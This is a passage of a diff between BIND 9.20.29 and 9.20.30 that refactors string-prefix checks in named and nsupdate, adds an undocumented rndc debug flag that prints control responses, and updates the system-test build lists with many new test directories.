ISC_LOG_WARNING, - "ignoring %s for '%s': %s", - initializing ? "initial-key" : "static-key", - namestr, isc_result_totext(result)); + "ignoring %s for '%s': %s", typestr, namestr, + isc_result_totext(result)); return ISC_R_SUCCESS; case DST_R_NOCRYPTO: /* @@ -985,9 +1010,8 @@ * is interrupted. */ cfg_obj_log(key, named_g_lctx, ISC_LOG_ERROR, - "configuring %s for '%s': %s", - initializing ? "initial-key" : "static-key", - namestr, isc_result_totext(result)); + "configuring %s for '%s': %s", typestr, namestr, + isc_result_totext(result)); return ISC_R_FAILURE; } @@ -1010,8 +1034,7 @@ { cfg_obj_log(key, named_g_lctx, ISC_LOG_WARNING, "ignoring %s for '%s': algorithm is disabled", - initializing ? "initial-key" : "static-key", - namestr); + typestr, namestr); goto done; } @@ -13777,9 +13800,9 @@ isc_buffer_init(&argbuf, command, (unsigned int)strlen(command)); isc_buffer_add(&argbuf, strlen(command)); - if (strncasecmp(command, "add", 3) == 0) { + if (isc_string_casehasprefix(command, "add")) { bn = "addzone"; - } else if (strncasecmp(command, "mod", 3) == 0) { + } else if (isc_string_casehasprefix(command, "mod")) { bn = "modzone"; } else { UNREACHABLE(); @@ -14358,10 +14381,10 @@ REQUIRE(text != NULL); - if (strncasecmp(command, "add", 3) == 0) { + if (isc_string_casehasprefix(command, "add")) { addzone = true; } else { - INSIST(strncasecmp(command, "mod", 3) == 0); + INSIST(isc_string_casehasprefix(command, "mod")); addzone = false; } diff -Nru bind9-9.20.29/bin/nsupdate/nsupdate.c bind9-9.20.30/bin/nsupdate/nsupdate.c --- bind9-9.20.29/bin/nsupdate/nsupdate.c 2026-09-11 19:41:01.067320568 +0000 +++ bind9-9.20.30/bin/nsupdate/nsupdate.c 2026-10-12 13:12:07.935889819 +0000 @@ -387,6 +387,7 @@ uint16_t digestbits = 0; isc_result_t result; char buf[20]; + const char *bits = NULL; REQUIRE(hmac_alg != NULL); REQUIRE(hmacstr != NULL); @@ -401,9 +402,11 @@ if (strcasecmp(buf, "hmac-md5") == 0) { *hmac_alg = DST_ALG_HMACMD5; - } else if (strncasecmp(buf, "hmac-md5-", 9) == 0) { + } else if ((bits = isc_string_casestripprefix(buf, "hmac-md5-")) != + NULL) + { *hmac_alg = DST_ALG_HMACMD5; - result = isc_parse_uint16(&digestbits, &buf[9], 10); + result = isc_parse_uint16(&digestbits, bits, 10); if (result != ISC_R_SUCCESS || digestbits > 128) { error("digest-bits out of range [0..128]"); return false; @@ -411,9 +414,11 @@ *digestbitsp = (digestbits + 7) & ~0x7U; } else if (strcasecmp(buf, "hmac-sha1") == 0) { *hmac_alg = DST_ALG_HMACSHA1; - } else if (strncasecmp(buf, "hmac-sha1-", 10) == 0) { + } else if ((bits = isc_string_casestripprefix(buf, "hmac-sha1-")) != + NULL) + { *hmac_alg = DST_ALG_HMACSHA1; - result = isc_parse_uint16(&digestbits, &buf[10], 10); + result = isc_parse_uint16(&digestbits, bits, 10); if (result != ISC_R_SUCCESS || digestbits > 160) { error("digest-bits out of range [0..160]"); return false; @@ -421,9 +426,11 @@ *digestbitsp = (digestbits + 7) & ~0x7U; } else if (strcasecmp(buf, "hmac-sha224") == 0) { *hmac_alg = DST_ALG_HMACSHA224; - } else if (strncasecmp(buf, "hmac-sha224-", 12) == 0) { + } else if ((bits = isc_string_casestripprefix(buf, "hmac-sha224-")) != + NULL) + { *hmac_alg = DST_ALG_HMACSHA224; - result = isc_parse_uint16(&digestbits, &buf[12], 10); + result = isc_parse_uint16(&digestbits, bits, 10); if (result != ISC_R_SUCCESS || digestbits > 224) { error("digest-bits out of range [0..224]"); return false; @@ -431,9 +438,11 @@ *digestbitsp = (digestbits + 7) & ~0x7U; } else if (strcasecmp(buf, "hmac-sha256") == 0) { *hmac_alg = DST_ALG_HMACSHA256; - } else if (strncasecmp(buf, "hmac-sha256-", 12) == 0) { + } else if ((bits = isc_string_casestripprefix(buf, "hmac-sha256-")) != + NULL) + { *hmac_alg = DST_ALG_HMACSHA256; - result = isc_parse_uint16(&digestbits, &buf[12], 10); + result = isc_parse_uint16(&digestbits, bits, 10); if (result != ISC_R_SUCCESS || digestbits > 256) { error("digest-bits out of range [0..256]"); return false; @@ -441,9 +450,11 @@ *digestbitsp = (digestbits + 7) & ~0x7U; } else if (strcasecmp(buf, "hmac-sha384") == 0) { *hmac_alg = DST_ALG_HMACSHA384; - } else if (strncasecmp(buf, "hmac-sha384-", 12) == 0) { + } else if ((bits = isc_string_casestripprefix(buf, "hmac-sha384-")) != + NULL) + { *hmac_alg = DST_ALG_HMACSHA384; - result = isc_parse_uint16(&digestbits, &buf[12], 10); + result = isc_parse_uint16(&digestbits, bits, 10); if (result != ISC_R_SUCCESS || digestbits > 384) { error("digest-bits out of range [0..384]"); return false; @@ -451,9 +462,11 @@ *digestbitsp = (digestbits + 7) & ~0x7U; } else if (strcasecmp(buf, "hmac-sha512") == 0) { *hmac_alg = DST_ALG_HMACSHA512; - } else if (strncasecmp(buf, "hmac-sha512-", 12) == 0) { + } else if ((bits = isc_string_casestripprefix(buf, "hmac-sha512-")) != + NULL) + { *hmac_alg = DST_ALG_HMACSHA512; - result = isc_parse_uint16(&digestbits, &buf[12], 10); + result = isc_parse_uint16(&digestbits, bits, 10); if (result != ISC_R_SUCCESS || digestbits > 512) { error("digest-bits out of range [0..512]"); return false; @@ -1059,7 +1072,7 @@ continue; } dns_rdatatype_format(t, buf, sizeof(buf)); - if (strncmp(buf, "TYPE", 4) != 0) { + if (!isc_string_hasprefix(buf, "TYPE")) { fprintf(stdout, "%s\n", buf); } } @@ -1072,7 +1085,7 @@ continue; } dns_rdatatype_format(t, buf, sizeof(buf)); - if (strncmp(buf, "TYPE", 4) != 0) { + if (!isc_string_hasprefix(buf, "TYPE")) { fprintf(stdout, "%s\n", buf); } } diff -Nru bind9-9.20.29/bin/rndc/rndc.c bind9-9.20.30/bin/rndc/rndc.c --- bind9-9.20.29/bin/rndc/rndc.c 2026-09-11 19:41:01.068320592 +0000 +++ bind9-9.20.30/bin/rndc/rndc.c 2026-10-12 13:12:07.936889841 +0000 @@ -83,6 +83,7 @@ static bool quiet = false; static bool showresult = false; static int32_t timeout = RNDC_TIMEOUT; +static bool debug_response = false; static void rndc_startconnect(isc_sockaddr_t *addr); @@ -240,7 +241,7 @@ exit(status); } -#define CMDLINE_FLAGS "46b:c:hk:Mmp:qrs:t:Vy:" +#define CMDLINE_FLAGS "46b:c:dhk:Mmp:qrs:t:Vy:" static void preparse_args(int argc, char **argv) { @@ -327,6 +328,11 @@ DO("parse message", isccc_cc_fromwire(&source, &response, algorithm, &secret)); + if (debug_response) { + isccc_sexpr_print(response, stderr); + fprintf(stderr, "\n"); + } + data = isccc_alist_lookup(response, "_data"); if (!isccc_alist_alistp(data)) { fatal("bad or missing data section in response"); @@ -885,6 +891,10 @@ c_flag = true; break; + case 'd': /* undocumented */ + debug_response = true; + break; + case 'k': admin_keyfile = isc_commandline_argument; break; diff -Nru bind9-9.20.29/bin/tests/convert_trs_to_junit.py bind9-9.20.30/bin/tests/convert_trs_to_junit.py --- bind9-9.20.29/bin/tests/convert_trs_to_junit.py 2026-09-11 19:41:01.069320616 +0000 +++ bind9-9.20.30/bin/tests/convert_trs_to_junit.py 2026-10-12 13:12:07.937889862 +0000 @@ -1,9 +1,14 @@ -#!/usr/bin/env python3 -# # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + # Convert automake .trs files into JUnit format suitable for Gitlab from xml.etree import ElementTree @@ -39,7 +44,9 @@ def find_test_relative_path(source_dir, in_path): - """Return {in_path}.c if it exists, with fallback to {in_path}""" + """ + Return {in_path}.c if it exists, with fallback to {in_path} + """ candidates_relative = [in_path + ".c", in_path] for relative in candidates_relative: absolute = os.path.join(source_dir, relative) diff -Nru bind9-9.20.29/bin/tests/system/COOKBOOK.md bind9-9.20.30/bin/tests/system/COOKBOOK.md --- bind9-9.20.29/bin/tests/system/COOKBOOK.md 2026-09-11 19:41:01.070320640 +0000 +++ bind9-9.20.30/bin/tests/system/COOKBOOK.md 2026-10-12 13:12:07.938889883 +0000 @@ -196,9 +196,12 @@ ``` With `signed=True`, `configure()` also generates a KSK+ZSK with -`dnssec-keygen` and signs the rendered zone with `dnssec-signzone`. To -sign a hand-written zone file checked into git (no rendering at all), put -it at `ns2/zones/.db` and drive the steps yourself: +`dnssec-keygen` and signs the rendered zone with `dnssec-signzone`. Pass +`configure(csk=True)` to generate a single CSK instead of the pair; the +zone is then signed with `dnssec-signzone -z` so that the one key signs +everything. To sign a hand-written zone file checked into git (no +rendering at all), put it at `ns2/zones/.db` and drive the steps +yourself: ```python def bootstrap(): diff -Nru bind9-9.20.29/bin/tests/system/Makefile.am bind9-9.20.30/bin/tests/system/Makefile.am --- bind9-9.20.29/bin/tests/system/Makefile.am 2026-09-11 19:41:01.070320640 +0000 +++ bind9-9.20.30/bin/tests/system/Makefile.am 2026-10-12 13:12:07.938889883 +0000 @@ -30,7 +30,6 @@ noinst_PROGRAMS = \ feature-test \ makejournal \ - pipelined/pipequeries \ rndc/gencheck \ rpz/dnsrps @@ -52,14 +51,6 @@ $(LDADD) \ $(LIBDNS_LIBS) -pipelined_pipequeries_CPPFLAGS = \ - $(AM_CPPFLAGS) \ - $(LIBDNS_CFLAGS) - -pipelined_pipequeries_LDADD = \ - $(LDADD) \ - $(LIBDNS_LIBS) - rpz_dnsrps_CPPFLAGS = \ $(AM_CPPFLAGS) \ $(LIBDNS_CFLAGS) \ @@ -82,19 +73,27 @@ additional \ addzone \ allow_query \ + allow_query_on \ auth \ autosign \ + bailiwick \ builtin \ cacheclean \ camp \ + cap_glues \ case \ catz \ + cdnxdomain \ cds \ chain \ checkconf \ + checkconf_keys \ checkds \ checknames \ checkzone \ + cipher_suites \ + class \ + cname_dname_negcache \ cname_recursion \ cookie \ cpu \ @@ -104,7 +103,14 @@ dispatch \ dlzexternal \ dns64 \ + dns64_dname \ dnssec \ + dnssec_bypass \ + dnssec_cname_response \ + dnssec_nsec3 \ + dnssec_parent_rrsig \ + dnssec_py \ + dnssec_wildcard \ dnstap \ doth \ dsdigest \ @@ -114,19 +120,27 @@ ednscompliance \ emptyzones \ enginepkcs11 \ - filters \ + expiredglue \ fetchlimit \ + filters \ formerr \ forward \ + fwdfirst \ geoip2 \ glue \ + hooks \ + host \ idna \ include_multiplecfg \ inline \ integrity \ + isctest/asyncserver/tests/dnssec \ + isctest/asyncserver/tests/duplicate_root_zone \ + isctest/asyncserver/tests/response_handling \ + isctest/asyncserver/tests/transport \ + isctest/asyncserver/tests/zone_data \ ixfr \ - hooks \ - host \ + ixfr_nonminimal \ journal \ kasp \ keepalive \ @@ -138,26 +152,44 @@ masterfile \ masterformat \ metadata \ + migrate2kasp \ mirror \ + mirror_root_zone \ + mismatchtcp \ mkeys \ multisigner \ names \ notify \ + nsec \ nsec3 \ - nsec_wildcard_wrong_zone \ + nsec3_impersonation \ + nsec_grandparent \ + nsec_ixfr \ + nsec_piggyback \ + nsec_synthesis \ + nsec_wildcard_wrong_zone \ nslookup \ + nsprocessinglimit \ nsupdate \ + nta \ nzd2nzf \ + optout \ + outofzone_zonecut \ padding \ pending \ - proxy \ pipelined \ + proxy \ qmin \ + qpcache_rrsig_any \ query_source \ + randomizens \ reclimit \ redirect \ + resend_loop \ resolver \ + rfc5011 \ rndc \ + rndc_confgen \ rollover \ rootkeysentinel \ rpzextra \ @@ -166,20 +198,31 @@ rrsetorder \ rsabigexponent \ runtime \ + selfpointedglue \ sfcache \ + sfcache_cname \ shutdown \ + sig0 \ + sig0_https \ smartsign \ sortlist \ spf \ + srtt \ + ssumaxtype \ + ssutoctou \ staticstub \ statistics \ statschannel \ stress \ stub \ + svcb_alias \ synthfromdnssec \ tcp \ + tkey \ + tkeyleak \ tools \ transport_acl \ + transport_change \ tsig \ tsiggss \ ttl \ @@ -188,6 +231,7 @@ views \ wildcard \ xfer \ + xfer_servers_list \ xferquota \ zero \ zonechecks @@ -213,7 +257,7 @@ LOG_DRIVER_V_0 = --verbose no LOG_DRIVER_V_1 = --verbose yes -LOG_DRIVER = $(srcdir)/custom-test-driver +LOG_DRIVER = env PYTHON='$(PYTHON)' $(srcdir)/custom-test-driver AM_LOG_DRIVER_FLAGS = $(LOG_DRIVER_V) LOG_COMPILER = $(srcdir)/run.sh diff -Nru bind9-9.20.29/bin/tests/system/Makefile.in bind9-9.20.30/bin/tests/system/Makefile.in --- bind9-9.20.29/bin/tests/system/Makefile.in 2026-09-11 19:42:18.340183441 +0000 +++ bind9-9.20.30/bin/tests/system/Makefile.in 2026-10-12 13:13:33.458580274 +0000 @@ -100,7 +100,6 @@ @DNSRPS_TRUE@am__append_2 = rpz/testlib @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@noinst_PROGRAMS = feature-test$(EXEEXT) \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ makejournal$(EXEEXT) \ -@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ pipelined/pipequeries$(EXEEXT) \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ rndc/gencheck$(EXEEXT) \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ rpz/dnsrps$(EXEEXT) subdir = bin/tests/system @@ -146,13 +145,8 @@ makejournal_OBJECTS = makejournal-makejournal.$(OBJEXT) @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@makejournal_DEPENDENCIES = $(am__DEPENDENCIES_3) \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ $(LIBDNS_LIBS) -pipelined_pipequeries_SOURCES = pipelined/pipequeries.c -am__dirstamp = $(am__leading_dot)dirstamp -pipelined_pipequeries_OBJECTS = \ - pipelined/pipequeries-pipequeries.$(OBJEXT) -@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@pipelined_pipequeries_DEPENDENCIES = $(am__DEPENDENCIES_3) \ -@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ $(LIBDNS_LIBS) rndc_gencheck_SOURCES = rndc/gencheck.c +am__dirstamp = $(am__leading_dot)dirstamp rndc_gencheck_OBJECTS = rndc/gencheck.$(OBJEXT) rndc_gencheck_LDADD = $(LDADD) rndc_gencheck_DEPENDENCIES = $(am__DEPENDENCIES_2) $(LIBDNS_LIBS) @@ -178,7 +172,6 @@ am__maybe_remake_depfiles = depfiles am__depfiles_remade = ./$(DEPDIR)/feature_test-feature-test.Po \ ./$(DEPDIR)/makejournal-makejournal.Po \ - pipelined/$(DEPDIR)/pipequeries-pipequeries.Po \ rndc/$(DEPDIR)/gencheck.Po rpz/$(DEPDIR)/dnsrps-dnsrps.Po am__mv = mv -f COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \ @@ -199,10 +192,9 @@ am__v_CCLD_ = $(am__v_CCLD_@AM_DEFAULT_V@) am__v_CCLD_0 = @echo " CCLD " $@; am__v_CCLD_1 = -SOURCES = feature-test.c makejournal.c pipelined/pipequeries.c \ - rndc/gencheck.c rpz/dnsrps.c -DIST_SOURCES = feature-test.c makejournal.c pipelined/pipequeries.c \ - rndc/gencheck.c rpz/dnsrps.c +SOURCES = feature-test.c makejournal.c rndc/gencheck.c rpz/dnsrps.c +DIST_SOURCES = feature-test.c makejournal.c rndc/gencheck.c \ + rpz/dnsrps.c RECURSIVE_TARGETS = all-recursive check-recursive cscopelist-recursive \ ctags-recursive dvi-recursive html-recursive info-recursive \ install-data-recursive install-dvi-recursive \ @@ -766,14 +758,6 @@ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ $(LDADD) \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ $(LIBDNS_LIBS) -@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@pipelined_pipequeries_CPPFLAGS = \ -@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ $(AM_CPPFLAGS) \ -@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ $(LIBDNS_CFLAGS) - -@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@pipelined_pipequeries_LDADD = \ -@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ $(LDADD) \ -@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ $(LIBDNS_LIBS) - @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@rpz_dnsrps_CPPFLAGS = \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ $(AM_CPPFLAGS) \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ $(LIBDNS_CFLAGS) \ @@ -797,19 +781,27 @@ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ additional \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ addzone \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ allow_query \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ allow_query_on \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ auth \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ autosign \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ bailiwick \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ builtin \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ cacheclean \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ camp \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ cap_glues \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ case \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ catz \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ cdnxdomain \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ cds \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ chain \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ checkconf \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ checkconf_keys \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ checkds \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ checknames \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ checkzone \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ cipher_suites \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ class \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ cname_dname_negcache \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ cname_recursion \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ cookie \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ cpu \ @@ -819,7 +811,14 @@ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ dispatch \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ dlzexternal \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ dns64 \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ dns64_dname \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ dnssec \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ dnssec_bypass \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ dnssec_cname_response \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ dnssec_nsec3 \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ dnssec_parent_rrsig \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ dnssec_py \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ dnssec_wildcard \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ dnstap \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ doth \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ dsdigest \ @@ -829,19 +828,27 @@ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ ednscompliance \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ emptyzones \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ enginepkcs11 \ -@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ filters \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ expiredglue \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ fetchlimit \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ filters \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ formerr \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ forward \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ fwdfirst \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ geoip2 \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ glue \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ hooks \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ host \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ idna \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ include_multiplecfg \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ inline \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ integrity \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ isctest/asyncserver/tests/dnssec \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ isctest/asyncserver/tests/duplicate_root_zone \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ isctest/asyncserver/tests/response_handling \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ isctest/asyncserver/tests/transport \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ isctest/asyncserver/tests/zone_data \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ ixfr \ -@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ hooks \ -@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ host \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ ixfr_nonminimal \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ journal \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ kasp \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ keepalive \ @@ -853,26 +860,44 @@ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ masterfile \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ masterformat \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ metadata \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ migrate2kasp \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ mirror \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ mirror_root_zone \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ mismatchtcp \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ mkeys \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ multisigner \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ names \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ notify \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ nsec \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ nsec3 \ -@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ nsec_wildcard_wrong_zone \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ nsec3_impersonation \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ nsec_grandparent \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ nsec_ixfr \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ nsec_piggyback \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ nsec_synthesis \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ nsec_wildcard_wrong_zone \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ nslookup \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ nsprocessinglimit \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ nsupdate \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ nta \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ nzd2nzf \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ optout \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ outofzone_zonecut \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ padding \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ pending \ -@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ proxy \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ pipelined \ +@HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ proxy \ @HAVE_PERL_TRUE@@HAVE_PYTEST_TRUE@@HAVE_PYTHON_TRUE@ qmin \ 